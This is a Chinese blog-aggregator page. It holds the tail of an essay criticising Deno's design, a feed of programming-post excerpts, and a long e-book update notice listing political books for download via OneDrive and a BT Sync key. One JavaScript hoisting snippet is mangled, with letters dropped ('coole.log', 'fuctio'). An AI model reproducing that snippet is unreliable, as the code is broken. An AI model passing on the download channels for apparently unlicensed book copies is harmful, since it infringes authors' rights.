在代码中包含 URL 是一个非常糟糕的做法（Golang 也是如此），Deno 称之为去中心化，但其实它只是重新将使用包的代码与包的来源耦合在了一起（现在 Deno 提供了一个 官方的代理，但这样和 NPM 的中心仓库又有什么区别呢）。缓存机制也带来了相当大的不确定性：
package-lock.json可以保证每次安装的依赖是完全一致的，而 Deno 的 lock.json 只能检查依赖是否有变化（如果有的话就拒绝运行）。这使得开发者很难控制依赖更新的时机，Deno 则建议将依赖缓存放入 Git。内建权限系统
一直以来通用编程语言都不曾在语言层面引入权限控制，但确实开源社区也曾报出过多次恶意代码的事件，但 Deno 的权限机制相当粗糙 —— 只能在进程级别进行权限控制，我可以大胆地预言，在几乎所有的场景里我们都需要
--allow-all，并不能对安全起到太多作用。我们需要考虑 Deno 的用户到底是开发者还是使用者：对于 Deno 脚本的使用者来说关注的当然是进程级别的权限；而对于开发者我认为更关注的是第三方包的权限，权限系统应该以包为单位（然而 Deno 里并没有包的概念了），Node 里本来也有 vm 模块可以一定程度上实现沙盒（但确实非常难以控制）。
而且说起来我们现在已经有了 Docker（或者更广泛的容器的概念）这种彻底的隔离和权限控制机制，业界对编程语言引入一套权限控制已经没有太大的需求了。
孤立的生态
可以说 JavaScript 的生态来自于用户态类库的充分竞争，Deno 则在 Runtime API 之外提供了 Standard Library（类似
golang.org/x）、提供了全套的开发工具链（fmt、test、doc、lint、bundle），在试图提供开箱即用的使用体验的同时，也削弱了第三方生态。在 Node.js 和 NPM 已然成为 JavaScript 事实标准的一部分的情况下，Deno 本来可以通过兼容 Node.js 或 NPM 有一个非常好的开场。但 Deno 却选择了和 Node.js 划清界限，而是兼容了一些浏览器环境的 API（如 prompt 或 onload）。
Deno 自己的说法是为了遵循已有的 Web 标准避免发明新东西，但实际上这些 Web 标准在设计时并未充分考虑浏览器之外的 Runtime，况且 Deno 其实也没能避免发明新东西（这些新东西被放在了 Deno 这个命名空间中）。
小结
Deno 就是这样一个有着非常鲜明个人偏好的 JavaScript Runtime，它试图去纠正 Node.js 的一些「设计失误」、希望给出一种「JavaScript 最佳实践」，希望提供高质量且开箱即用的标准库和工具链。这些偏好的选择总会有人喜欢或不喜欢，但除此之外 Deno 实在是缺少一个 killer feature（杀手级特性）让一个「理性」的 Node.js 开发者（如一个公司）切换到 Deno。
通过单一文件发行、进程级别的权限控制使 Deno 会更适合命令行工具的开发，但能否与已经广泛用于命令行工具的 Golang 竞争尚且存疑。
作为一个 Node.js 开发者，我并不觉得 Deno 可以在未来替代 Node 成为我的主力开发工具，Deno 更像是 Golang 的设计哲学对 JavaScript 的一次入侵。
- 博客 Jiajun的编程随想 2021-05-26 08:00:00《Redis源码阅读：AOF重写》Redis会自动进行AOF重写，也可以由 `BGREWRITEAOF` 命令手动触发重写。我们来看看，从 `BGREWRITEAOF` 开始入手：```c...
- 博客 Jiajun的编程随想 2021-05-25 08:00:00《Redis源码阅读：AOF持久化》都说Redis是内存数据库，其实 Redis 也有持久化机制，就是我们在 `redis.conf` 里配置的如下几行：```c...
- 博客 Jiajun的编程随想 2021-05-24 08:00:00《Redis源码阅读：key是怎么过期的》我们经常用到Redis的expire这个命令，比如我们设置一个缓存，通常会这样用：```bash...
- 博客 Jiajun的编程随想 2021-05-24 08:00:00《Redis源码阅读：字典是怎么实现的》dict，也就是哈希表这个数据结构，在Redis中的作用非常广泛，比如，Redis用它来存储支持的命令，这篇文章我们会看一下Redis是如何实现dict的...
- 博客 构建我的被动收入 2021-05-23 08:00:00本文分享笔者对失败驱动开发（Failure Driven Development）的理解。
- 博客 Jiajun的编程随想 2021-05-23 08:00:00《Redis源码阅读：执行命令》上一篇我们读到，Redis是怎么从启动服务，到开始读取来自socket的字节流。这一篇我们继续看看，如何处理字节流，然后变成命令，到返回对应数据...
- 博客 Jiajun的编程随想 2021-05-22 08:00:00《Redis源码阅读：启动过程》最近我突然想看看Redis是怎么开始处理命令的，也就是从启动到开始处理请求，中间大概都发生了什么。话不多说，首先fork原始仓库，然后把代码拉下来...
- 博客 Jiajun的编程随想 2021-05-15 08:00:00《WAL(Write-ahead logging)的套路》WAL的全称是 Write-ahead logging, 是一种常见的用于持久化数据的方式, 通常性能都很不错,利用了磁盘连续写的性能高于随机读写的这一个特性. 一般来说, WAL都是用于这样一种场景, 记录操作日志, 数据库收到合法请求之后, 首先在WAL里写入一条记录, 然后再开始进行内存...
- 博客 Randy's Blog 2021-05-12 08:00:001251
- 博客 轶哥博客 2021-05-12 01:37:23<>在某个JavaScrit前端群里面，网友
深圳-reolve发的一道关于JavaScrit作用域与函数提升的思考题引发了众位大佬的讨论。题目
coole.log(a)if (true) { a = 2 fuctio a () {} a = 3 coole.log(#39内部#39, a)}coole.log(#39外部#39, a)<>打印
a在所有位置的值：<> - 博客 编程随想的博客 2021-05-09 23:43:00
插播一条消息：
4月22日，俺在前一篇博文回复读者评论。当时有人建议俺：把博客的评论都导入 Github。然后俺回了一条留言（链接）告诉对方：已经有热心网友干了这事儿。并且俺还贴出 Github 已有的某个仓库的网址（该仓库的作者会把博客新增的留言【实时同步】到 Github，已经运作了好几年）
大伙儿猜猜看，出了啥事儿？
一星期之后，该仓库的作者在俺博客留言（链接），说他的仓库刚刚被 Github 封杀，连这个仓库对应的用户帐号都被禁掉（相当于【炸号】）。据说是有人向 Github 官方恶意投诉。
对 Github 社区比较熟悉的网友，请帮这位读者想点办法。
针对这事儿，俺补充说几点：
1. 很显然，有朝廷的走狗在俺博客长期蹲点，关注俺发的每一篇博文，每一条留言；
2. （十多年来）朝廷始终搞不定俺，于是就去针对那些“帮助俺的网友”；
3. 每一个想要帮俺的网友，自己都要做好【身份隐匿】（这方面的教程，俺已经写了很多）；
4. 在评论区交流，尽量不要透露个人身份信息；即使给俺写邮件，也不要透露任何身份信息。
★电子书更新的通告，博文的排版有所变化
以前发布“电子书更新的通告”，俺会列出【所有的】电子书，然后用背景色标注：哪些书是新增的。
由于电子书越来越多，这个清单也越来越大，已经超过 400KB。也就是说，博文的尺寸会太大，发布博文的时候，有时候会出错（比如“网络超时”之类的）。
另外，俺也考虑到：对于“电子书更新的通告”，大部分读者关心的是【新增】的书籍。所以也没必要把整个清单都放到博文中。
从今年开始，对于“电子书更新的通告”，俺只贴出那些“书籍有变化的分类目录”。至于那些【没变化】的分类目录，俺会注明(无更新)
（以上所说的，只是对【博文】，Github 上的那个“电子书清单”，还是与原来一样）
★阅读说明
对于【近期更新】的电子书，为了醒目起见，用这种颜色表示【新增书籍】；用这种颜色表示【补充格式】。
猛击如下网址，可以查看【全部电子书清单】（这些年来，GitHub 一直可以【免翻墙】访问）
https://github.com/programthink/books
★下载注意事项
◇BT Sync（Resilio Sync）自动同步
（“BT Sync”已经改名为“Resilio Sync”，不过俺还是习惯用原来的名称）
要使用 BT Sync 同步电子书，你需要在 BT Sync 客户端软件的界面上添加相应的密钥（密钥写在【每个大类的标题下方】）。关于 BT Sync 的扫盲教程，参见“这篇博文”。
从2017年7月之后，GFW 开始封杀 BT Sync 的中继服务器。如果你的 BT sync 客户端始终无法发现其它节点，请参见如下博文：
《聊聊 GFW 如何封杀 Resilio Sync（BTSync）？以及如何【免翻墙】继续使用？》
◇微软网盘（OneDrive）
微软网盘在【墙外】，有时候会被 GFW 封杀。如果你无法打开微软网盘的页面，【请尝试翻墙】。
如果打开微软网盘界面，出现错误提示，通常是因为——同时下载的人太多，导致服务器超载。解决方法：耐心等几天，再去下载。
（每次公布新增电子书，之后的那几天都会出现这个现象；然后就又恢复正常。怀疑是服务器超载）
★政治
【网盘】
微软网盘
BT Sync 密钥：BRSSYZTSAC6UGYTUOJ22L4GCO7QESPPBD （此密钥的使用方法，参见页面开头的“网盘下载须知”）
◇政治 / 政治理论
◇政治 / 政治理论 / 民主与宪政
中文书名 英文书名 作者 文件类型 上传日期 备注 论民主 On Democracy (美) 罗伯特·道尔 简体PDF(第1版 扫描版)
英文PDF(第1版 扫描版)2014-06-22
2020-01-25简介 第三波
——20世纪后期民主化浪潮The Third Wave
——Democratization in the Late Twentieth Century(美) 塞缪尔·亨廷顿 简体PDF(修订版)
简体PDF
简体EPUB
简体MOBI
英文EPUB2018-09-06
2013-05-30
2019-01-04
2015-11-14
2020-01-16简介 民主
其它中文名：
民主、民主化、去民主化及其相互依赖关系Democracy (美) 查尔斯·蒂利 简体PDF(扫描版)
英文PDF2015-02-09
2020-01-25简介 牛津通识读本：民主 Democracy
——A Very Short Introduction(英) 伯纳德·克里克 简体EPUB
简体MOBI
英文PDF
英文MOBI2021-02-15
2021-02-15
2015-12-11
2020-12-07简介 牛津通识读本：公民 Citizenship
——A Very Short Introduction(英) 理查德·贝拉米 英文PDF 2020-03-16 简介 代议制政府 Considerations on Representative Government (英) 约翰·密尔 简体PDF
简体PDF(扫描版)
英文PDF2013-08-22
2019-10-26
2020-01-25简介 社会契约论
其它中文名：
民约论The Social Contract (法) 让-雅克·卢梭 简体PDF
简体PDF(扫描版)
简体EPUB
简体MOBI2014-01-09
2019-10-27
2017-05-06
2015-05-11简介 论法的精神
其它中文名：
法意The Spirit of the Laws (法) 孟德斯鸠 简体PDF
简体PDF(大字版)
简体PDF(共2册 扫描版)
简体EPUB
简体MOBI
英文PDF2014-01-09
2017-03-24
2018-12-03
2015-05-11
2015-05-11
2020-01-25简介 联邦党人文集
其它中文名：
联邦主义者文集
美国宪法原理The Federalist Papers (美) 亚历山大·汉密尔顿
(美) 詹姆斯·麦迪逊
(美) 约翰·杰伊简体PDF(扫描版)
简体EPUB
简体MOBI
英文PDF2013-11-27
2014-01-09
2015-05-11
2020-01-20简介 控制国家
——西方宪政的历史Controlling the State
——Constitutionalism from Ancient Athens to Today(美) 斯科特·戈登 简体PDF(扫描版)
英文PDF2017-08-13
2020-01-20简介 历史的终结及最后之人 The End of History and the Last Man (美) 弗朗西斯·福山 简体PDF
简体EPUB
英文PDF2013-01-01
2013-09-13
2020-01-20简介 民主的历程
——公元前508年~1993年
其它中文名：
民主
——未竟之旅，公元前508年至公元1993年Democracy
——The Unfinished Journey, 508 BC to AD 1993(英) 约翰·邓恩 (主编) 简体PDF(扫描版) 2014-06-22 简介 欧洲民主史
——从孟德斯鸠到凯尔森A History of Democracy in Europe
——From Montesquieu to 1989(意) 萨尔沃·马斯泰罗 简体PDF(扫描版) 2014-07-27 简介 论李维
其它中文名：
李维史论
罗马史论
论李维罗马史Discourses on Livy (意) 尼可罗·马基亚维利 简体PDF(3卷本 扫描版)
英文PDF(3卷本)2020-03-25
2018-12-04简介 平民政治的基本原理 The Fundamental Principles of Government (美) 保罗·芮恩施 简体PDF(扫描版) 2013-01-14 简介 宪政与权利 N/A (多人) 简体PDF 2013-04-13 简介 宪政主义
——观念与制度的转捩N/A 王怡 简体PDF(扫描版) 2013-05-19 简介 各国民权运动史 N/A 董之学 繁體PDF(竪排掃描版) 2016-07-15 简介 罗伯特议事规则 Robert's Rules of Order (美) 亨利·马丁·罗伯特
等简体MOBI(第10版)
英文EPUB(第11版)2015-05-12
2020-01-20简介 可操作的民主
——罗伯特议事规则下乡全纪录N/A 寇延丁
袁天鹏简体EPUB
简体MOBI
简体PDF(扫描版)2015-11-14
2020-11-22
2015-05-12简介
◇政治 / 政治理论 / 自由主义
（本类别的“自由主义”主要指“古典自由主义”和“自由意志主义”）
中文书名 英文书名 作者 文件类型 上传日期 备注 论自由 On Liberty (英) 约翰·密尔 简体PDF
简体EPUB
简体MOBI
英文PDF2013-04-14
2013-09-13
2018-11-10
2019-11-03简介 政府论 Two Treatises of Government
其它英文名：
Two Treatises of Government and A Letter Concerning Toleration(英) 约翰·洛克 简体PDF
简体EPUB
简体MOBI
简体TXT
英文PDF2013-04-14
2013-09-13
2018-11-10
2016-05-14
2020-01-17简介 自由论
其它中文名：
《自由四论》扩充版Four Essays on Liberty (俄/英) 以赛亚·伯林 简体PDF(扫描版)
英文PDF2013-08-22
2013-12-15简介 自由及其背叛
——人类自由的六个敌人Freedom and Its Betrayal
——Six Enemies of Human Liberty(俄/英) 以赛亚·伯林 简体PDF(扫描版)
英文EPUB2014-05-23
2019-11-03简介 自由与繁荣的国度 The Free and Prosperous Commonwealth
——An Exposition of the Ideas of Classical Liberalism
其它英文名：
Liberalism
——The Classical Tradition
Liberalism, a Socio-Economic Exposition(奥/美) 路德维希·冯·米塞斯 简体PDF(大字版)
简体PDF
简体PDF(扫描版)
简体HTML
英文PDF2019-08-29
2016-12-23
2021-02-13
2018-12-04
2020-01-17简介 正义论 A Theory of Justice (美) 约翰·罗尔斯 简体EPUB
简体MOBI
简体TXT
简体PDF(扫描版)
英文PDF(修订版)2013-09-13
2018-11-10
2016-05-14
2013-05-23
2020-01-16简介 政治自由主义 Political Liberalism (美) 约翰·罗尔斯 简体HTML
简体MOBI
简体PDF(扫描版)
英文EPUB(扩充版)2013-01-17
2015-05-11
2018-12-04
2020-01-17简介 无政府、国家与乌托邦 Anarchy, State, and Utopia (美) 罗伯特·诺齐克 简体PDF(扫描版)
英文EPUB2013-07-30
2014-03-29简介 自由主义与正义的局限 Liberalism and the Limits of Justice (美) 迈克尔·桑德尔 简体PDF(第2版)
简体PDF(第2版 扫描版)
英文PDF(第2版 扫描版)2013-01-01
2018-12-05
2020-01-16简介 自由史论 The History of Freedom and Other Essays (英) 阿克顿勋爵 简体PDF(扫描版)
英文PDF2014-07-27
2020-03-30简介 古典自由主义
——入门读物Libertarianism
——A Primer(美) 大卫·鲍兹 英文PDF 2015-07-19 简介 利维坦
——教会国家和市民国家的实质、形式、权力
其它中文名：
巨灵论Leviathan or The Matter, Forme and Power of a Common Wealth Ecclesiastical and Civil (英) 托马斯·霍布斯 简体PDF
简体MOBI
英文PDF2014-06-22
2018-12-22
2019-11-03简介 古代人的自由与现代人的自由 The Liberty of the Ancients Compared with that of the Moderns (法) 本杰明·贡斯当 简体PDF(扫描版)
简体MOBI
英文PDF2014-06-22
2015-05-11
2020-01-17简介 欧洲自由主义史 The History of European Liberalism (意) 圭多·德·拉吉罗 简体PDF(扫描版) 2015-01-12 简介 论出版自由 Areopagitica
——A Speech for the Liberty of Unlicensed Printing(英) 约翰·弥尔顿 简体PDF
简体MOBI
英文EPUB2014-02-03
2015-05-11
2020-01-17简介 给你所爱的人以自由 N/A 茅于轼 简体PDF
简体PDF(大字版)
简体EPUB
简体MOBI2013-10-26
2013-11-26
2015-11-14
2015-11-14简介
◇政治 / 政治理论 / 保守主义
（“保守主义”与“古典自由主义”存在相当一部分交集；属于两者重叠部分的书，放置到上述“自由主义”分类目录下）
中文书名 英文书名 作者 文件类型 上传日期 备注 保守主义思想
——从伯克到艾略特
其它中文名：
保守主义的心灵
保守主义思想
——从伯克到桑塔亚那The Conservative Mind
——From Burke to Eliot
其它英文名：
The Conservative Mind
——From Burke to Santayana(美) 拉塞尔·柯克 英文EPUB
英文PDF(浓缩版)2020-01-16
2019-08-29简介 反思法国大革命
其它中文名：
法国革命论
法国革命感想录
法国大革命反思录Reflections on the Revolution in France (英) 埃德蒙·伯克 简体PDF(扫描版)
英文EPUB2021-02-15
2020-03-28简介 保守主义 Conservatism (英) 休·塞西尔勋爵 简体PDF(扫描版) 2019-08-29 简介 保守主义 Conservatism 刘军宁 简体PDF(扫描版) 2019-11-06 简介
◇政治 / 政治理论 / 资本主义
(无更新)
◇政治 / 政治理论 / 共产主义
（本类别主要放置“马列主义”相关书籍）
(无更新)
◇政治 / 政治理论 / 社会主义
(无更新)
◇政治 / 政治理论 / 极权主义与威权主义
中文书名 英文书名 作者 文件类型 上传日期 备注 开放社会及其敌人 The Open Society and Its Enemies (奥/英) 卡尔·波普尔 简体PDF
简体EPUB
简体MOBI
简体PDF(扫描版)
英文PDF2012-12-11
2013-09-14
2018-11-10
2017-03-24
2020-01-15简介 极权主义的起源 The Origins of Totalitarianism (德/美) 汉娜·阿伦特 简体PDF
简体CHM
简体MOBI
简体TXT
英文PDF(扫描版)2012-10-06
2012-10-14
2014-02-23
2016-04-29
2019-08-29简介 经济人的末日
——极权主义的起源The End of Economic Man
——The Origins of Totalitarianism(奥/美) 彼得·德鲁克 简体PDF(扫描版) 2021-02-13 简介 东方专制主义
——对于极权力量的比较研究Oriental Despotism
——A Comparative Study of Total Power(德/美) 卡尔·魏特夫 (中文名：魏复古) 简体PDF(扫描版)
英文PDF(扫描版)2019-02-25
2020-01-15简介 独裁者手册
——为什么恶劣行为总是政治成功的通行证The Dictator's Handbook
——Why Bad Behavior is Almost Always Good Politics(美) 布鲁诺·德·梅斯奎塔
(美) 阿拉斯泰尔·史密斯简体MOBI(标注删节部分)
英文PDF(无删节)
简体EPUB(有删节)
简体MOBI(有删节)2020-11-20
2018-11-18
2019-03-02
2019-03-02简介 极权主义民主的起源 The Origins of Totalitarian Democracy (波兰/以色列) 雅各布·塔尔蒙 简体PDF(扫描版) 2015-07-14 简介 威权统治的转型
——关于不确定民主的试探性结论Transitions from Authoritarian Rule
——Tentative Conclusions about Uncertain Democracies(阿根廷) 吉列尔莫·奥唐奈
(美) 菲利普·施密特简体PDF(扫描版)
英文PDF(扫描版)2013-08-21
2020-01-15简介 新常识
——一党专制的性质与后果New Common Sense
——The Nature and Consequences of One-Party Dictatorship张雪忠 简体EPUB(精校版)
简体PDF
简体MOBI2015-11-29
2013-10-19
2018-11-10简介
◇政治 / 政治理论 / 乌托邦主义
(无更新)
◇政治 / 政治理论 / 无政府主义
(无更新)
◇政治 / 政治理论 / 外交与国际关系
(无更新)
◇政治 / 政治理论 / 非暴力抗争
(无更新)
◇政治 / 政治理论 / 女权运动
(无更新)
◇政治 / 政治理论 / (其它)
(无更新)
◇政治 / 政治小说
（某些政治小说描写的是特定国家，归入【政治类】对应国家的分类目录；
某些中国的政治小说，描写的是特定历史背景，放在【政治类 / 中国 / 中共历史】分类目录下）
中文书名 英文书名 作者 文件类型 上传日期 备注 一九八四 Nineteen Eighty-Four (英) 乔治·奥威尔 简体PDF
简体EPUB (精校版)
简体TXT
简体PDF(扫描版)
简体MOBI
英文EPUB
英文PDF2010-09-07
2015-11-29
2012-03-08
2013-10-20
2014-02-23
2013-09-13
2012-01-11简介 动物庄园
其它中文名：
动物农庄Animal Farm (英) 乔治·奥威尔 简体PDF
简体EPUB
简体TXT
简体PDF(扫描版)
简体MOBI
英文PDF2010-09-23
2013-09-13
2012-03-08
2013-10-20
2014-02-23
2012-01-11简介 美丽新世界
其它中文名：
美妙的新世界Brave New World (英) 奥尔德斯·赫胥黎 简体EPUB
简体HTML
简体TXT
简体MOBI
英文PDF2013-09-15
2019-08-23
2012-10-05
2015-02-17
2020-01-14简介 我们
其它中文名：
反乌托邦与自由We (俄/苏) 尤金·扎米亚京 简体EPUB
简体MOBI
英文EPUB2013-09-15
2015-02-17
2020-01-14简介 阿特拉斯耸耸肩
其它中文名：
阿特拉斯摆脱重负Atlas Shrugged (俄/美) 艾茵·兰德 简体PDF(35周年纪念版)
英文EPUB2021-02-13
2020-03-16简介 严厉的月亮
其它中文名：
怒月
月亮是位严厉的主妇The Moon Is a Harsh Mistress (美) 罗伯特·海因莱因 简体EPUB
简体MOBI
英文EPUB2019-03-04
2019-03-04
2020-01-14简介 云图 Cloud Atlas (英) 大卫·米切尔 简体PDF
简体EPUB
简体MOBI
英文PDF2014-02-06
2014-02-06
2018-11-10
2014-02-06简介 黄祸 Yellow Peril 王力雄 简体CHM 2013-08-21 简介 旋风 N/A 姜贵 (原名：王林渡) 简体PDF 2013-08-21 简介 盛世
——中国2013The Fat Years 陈冠中 简体PDF
简体EPUB2013-01-01
2017-04-30简介 裸命 N/A 陈冠中 简体MOBI 2013-01-01 简介 中国地图
——一幅中国人的精神地图N/A 汪建辉 简体PDF 2014-05-23 简介
◇政治 / 中国
◇政治 / 中国 / 中共历史
◇政治 / 中国 / 中共历史 / 改革开放时期
(无更新)
◇政治 / 中国 / 中共历史 / 六四事件
(无更新)
◇政治 / 中国 / 中共历史 / 文革时期
(无更新)
◇政治 / 中国 / 中共历史 / “大跃进”与大饥荒时期
(无更新)
◇政治 / 中国 / 中共历史 / “反右”运动
(无更新)
◇政治 / 中国 / 中共历史 / “土改”运动
(无更新)
◇政治 / 中国 / 中共历史 / 国共内战时期
(无更新)
◇政治 / 中国 / 中共历史 / 延安与八年抗战时期
(无更新)
◇政治 / 中国 / 中共历史 / 江西时期
(无更新)
◇政治 / 中国 / 中共历史 / (其它)
(无更新)
◇政治 / 中国 / 政治人物
◇政治 / 中国 / 政治人物 / 共产党
◇政治 / 中国 / 政治人物 / 共产党 / 陈独秀
(无更新)
◇政治 / 中国 / 政治人物 / 共产党 / 毛泽东
(无更新)
◇政治 / 中国 / 政治人物 / 共产党 / 周恩来
(无更新)
◇政治 / 中国 / 政治人物 / 共产党 / 邓小平
(无更新)
◇政治 / 中国 / 政治人物 / 共产党 / 胡耀邦
(无更新)
◇政治 / 中国 / 政治人物 / 共产党 / 赵紫阳
(无更新)
◇政治 / 中国 / 政治人物 / 共产党 / 第4代
(无更新)
◇政治 / 中国 / 政治人物 / 共产党 / (其他人物)
(无更新)
◇政治 / 中国 / 政治人物 / 国民党
◇政治 / 中国 / 政治人物 / 国民党 / 蒋中正
中文书名 英文书名 作者 文件类型 上传日期 备注 蒋中正思想言论总集 N/A 蒋中正 繁體CHM 2015-02-08 简介 蒋介石传 The Man Who Lost China
——The First Full Biography of Chiang Kai-shek(美) 布赖恩·克罗泽 简体EPUB
简体PDF(扫描版)2019-08-23
2021-02-15简介 从大历史的角度读蒋介石日记 From a Macrohistory Perspective in Reading Jiang Jieshi's Diary (中/美) 黄仁宇 繁體PDF(竪排掃描版) 2021-02-15 简介
◇政治 / 中国 / 政治人物 / 国民党 / 蒋经国
(无更新)
◇政治 / 中国 / 政治人物 / 国民党 / (其他人物)
中文书名 英文书名 作者 文件类型 上传日期 备注 我之历史
——宋教仁日记N/A 宋教仁 简体PDF(扫描版) 2021-02-15 简介 胡汉民自传 N/A 胡汉民 繁體DJVU(竪排掃描版) 2015-07-16 简介 李宗仁回忆录 Memoirs of Li Zongren 李宗仁 (口述)
(中/美) 唐德刚 (整理)简体EPUB
简体MOBI
简体PDF(扫描版)2019-08-23
2019-08-23
2020-03-28简介 张学良口述历史 N/A 张学良 (口述)
(中/美) 唐德刚 (整理)简体PDF(扫描版)
简体EPUB
简体MOBI2015-01-07
2015-05-11
2015-05-11简介 白崇禧回忆录 N/A 白崇禧 简体PDF(扫描版) 2015-07-16 简介 成败之鉴
——陈立夫回忆录N/A 陈立夫 繁體PDF(竪排掃描版) 2015-07-16 简介 旷世风雷一梦痕
——九十年人生经历见证N/A 王思诚 繁體PDF(竪排掃描版) 2013-07-07 简介
◇政治 / 中国 / 政治人物 / 太子党关系网络
这是俺花了不少时间整理的，包括十多张详细的网状图，涵盖几百个权贵家族。
通过此文档，可以直观体会到天朝就是一个“权贵资本主义社会”。
俺已经把这份文档开源到 GitHub（它不但是一个开源项目的集散地，也是一个多人网络协作的平台）。希望大伙儿群策群力，一起来曝光权贵丑陋的嘴脸。
更多详情请看 zhao@github
◇政治 / 中国 / 社会阶层与贫富分化
(无更新)
◇政治 / 中国 / 腐败问题
(无更新)
◇政治 / 中国 / 中宣部与言论审查
(无更新)
◇政治 / 中国 / 教育问题
(无更新)
◇政治 / 中国 / 少数民族问题
(无更新)
◇政治 / 中国 / 司法问题
(无更新)
◇政治 / 中国 / 环境问题
(无更新)
◇政治 / 中国 / 公民维权
(无更新)
◇政治 / 中国 / 民运与革命
(无更新)
◇政治 / 中国 / (其它)
(无更新)
◇政治 / 美国
◇政治 / 美国 / 政治制度
中文书名 英文书名 作者 文件类型 上传日期 备注 论美国的民主
其它中文名：
民主在美国Democracy in America (法) 亚历西斯·德·托克维尔 简体PDF(上下卷)
简体MOBI
英文PDF2012-10-06
2013-05-13
2020-03-03简介 美国是如何治理的 To Govern America (美) 罗杰·希尔斯曼 简体PDF(扫描版) 2017-02-17 简介 事关选举
——美国国会的政治解读Congress
——The Electoral Connection(美) 戴维·梅休 简体PDF(扫描版)
英文PDF(扫描版)2017-02-17
2020-03-03简介 国会政体
——美国政治研究Congressional Government
——A Study in American Politics(美) 伍德罗·威尔逊 简体PDF(扫描版)
英文TXT2017-02-17
2020-03-03简介 美国的陪审团 In the Hands of the People
——The Trial Jury's Origins, Triumphs, Troubles, and Future in American Democracy(美) 威廉·德威尔 简体PDF(扫描版) 2017-02-18 简介 牛津通识读本：美国政治 American Politics
——A Very Short Introduction(美) 理查德·瓦雷利 英文PDF 2020-03-16 简介 牛津通识读本：美国总统制 The American Presidency
——A Very Short Introduction(美) 查尔斯·琼斯 简体EPUB(第1版)
简体AZW3(第1版)2015-12-04
2015-12-04简介 牛津通识读本：美国国会 The U.S. Congress
——A Very Short Introduction(美) 唐纳德·里奇 简体EPUB(第2版)
简体MOBI(第2版)
英文PDF(第1版)
英文MOBI(第1版)2021-02-15
2021-02-15
2015-12-13
2020-12-07简介 牛津通识读本：美国最高法院 The U.S. Supreme Court
——A Very Short Introduction(美) 琳达·格林豪斯 简体EPUB
简体AZW32015-12-05
2015-12-05简介 牛津通识读本：美国政党和选举 American Political Parties and Elections
——A Very Short Introduction(美) 桑迪·梅塞尔 简体EPUB(第2版)
简体AZW3(第2版)
英文PDF(第1版)2021-02-15
2021-02-15
2015-12-12简介 九人
——美国最高法院风云The Nine
——Inside the Secret World of the Supreme Court(美) 杰弗里·图宾 简体PDF(扫描版)
英文PDF(扫描版)2017-02-17
2020-03-03简介 言论的边界
——美国宪法第一修正案简史Freedom for the Thought That We Hate
——A Biography of the First Amendment(美) 安东尼·刘易斯 简体EPUB
简体PDF(扫描版)
英文PDF2015-11-20
2017-02-17
2020-03-03简介 美国宪政历程
——影响美国的25个司法大案N/A 任东来
等简体PDF(大字版)
简体PDF(扫描版)
简体EPUB
简体MOBI2016-12-19
2013-11-26
2018-11-10
2014-02-23简介 费城风云
——美国宪法的诞生和我们的反思N/A 易中天 简体EPUB
简体TXT2018-12-08
2016-05-19简介 宪法的精神
——美国联邦最高法院200年经典判例选读N/A 北京大学法学院司法研究中心 简体PDF(扫描版) 2015-01-12 简介
◇政治 / 美国 / 政治人物
(无更新)
◇政治 / 美国 / 外交
(无更新)
◇政治 / 美国 / 情报系统
(无更新)
◇政治 / 美国 / (其它)
(无更新)
◇政治 / 苏联
◇政治 / 苏联 / 苏共历史
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：俄国革命 The Russian Revolution
——A Very Short Introduction(英) 斯蒂芬·史密斯 英文PDF
英文MOBI2015-12-13
2020-12-07简介 苏共野史
——党治制的由来The Communist Party Apparatus (俄/苏) 阿卜杜拉赫曼·阿夫托尔汉诺夫 简体PDF(扫描版)
英文DJVU(扫描版)2014-01-09
2020-03-02简介 苏联政治内幕
——知情者的见证The System
——An Insider's Life in Soviet Politics(苏/俄) 乔治·阿尔巴托夫 简体PDF(扫描版) 2016-12-18 简介 帝国的消亡
——当代俄罗斯的教训Collapse of an Empire
——Lessons for Modern Russia(苏/俄) 叶戈尔·盖达尔 简体PDF(扫描版)
英文PDF2015-01-12
2020-03-02简介 苏联解体亲历记 Autopsy on an Empire
——The American Ambassador's Account of the Collapse of the Soviet Union(美) 小杰克·马特洛克 简体PDF(上下册)
简体PDF(扫描版)2019-02-22
2013-07-07简介 苏联的最后一年 N/A (苏/俄) 罗伊·麦德维杰夫 简体PDF(扫描版) 2018-08-09 简介 大国悲剧
——苏联解体的前因后果N/A (苏/俄) 尼古拉·雷日科夫 简体AZW3
简体TXT2021-02-13
2016-05-17简介 一个大国的崛起与崩溃
——苏联历史专题研究，1917~1991N/A 沈志华 (主编) 简体PDF(上中下册 扫描版)
简体TXT2015-11-03
2018-08-09简介 帝国
——俄罗斯五十年Imperium (波兰) 雷沙德·卡普钦斯基 繁體PDF(豎排掃描版)
英文EPUB2013-11-26
2020-03-02简介 苏联兴亡史纲 N/A 陈之骅
等简体PDF(扫描版) 2013-01-01 简介 东欧大裂变纪实 N/A 欧阳东 简体PDF(扫描版) 2013-01-01 简介
◇政治 / 苏联 / 政治人物
◇政治 / 苏联 / 政治人物 / 普列汉诺夫
(无更新)
◇政治 / 苏联 / 政治人物 / 斯大林
(无更新)
◇政治 / 苏联 / 政治人物 / 托洛茨基
(无更新)
◇政治 / 苏联 / 政治人物 / 赫鲁晓夫
(无更新)
◇政治 / 苏联 / 政治人物 / 勃列日涅夫
(无更新)
◇政治 / 苏联 / 政治人物 / 戈尔巴乔夫
(无更新)
◇政治 / 苏联 / 政治人物 / (其他人物)
(无更新)
◇政治 / 苏联 / 大清洗与古拉格
中文书名 英文书名 作者 文件类型 上传日期 备注 古拉格群岛 The Gulag Archipelago (苏/俄) 亚历山大·索尔仁尼琴 简体EPUB(精校版 标注删节部分)
简体PDF(1982版 上中下册 扫描版 缺中册)
简体MOBI
简体HTML
英文PDF(共3卷 扫描版)2021-02-13
2018-08-09
2013-04-20
2013-02-22
2020-03-02简介 古拉格
——一部历史Gulag
——A History(美) 安妮·阿普尔鲍姆 简体PDF(大字版)
简体EPUB
简体MOBI
英文PDF(大字版)
英文EPUB2014-02-12
2014-01-09
2018-11-10
2017-08-16
2018-08-09简介 苏联大清洗内幕 N/A 陈启能 (主编) 简体HTML
简体PDF(扫描版)2013-02-22
2018-08-09简介 历届克格勃主席的命运 Chairmen of the KGB
——Declassified fates(俄) 列昂尼德·姆列钦 简体PDF 2019-02-07 简介 正午的黑暗
其它中文名：
中午的黑暗Darkness at Noon (匈/英) 阿瑟·库斯勒 简体PDF(扫描版)
英文PDF
英文EPUB2021-02-13
2015-02-09
2014-07-28简介
◇政治 / 苏联 / (其它)
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：苏联 The Soviet Union
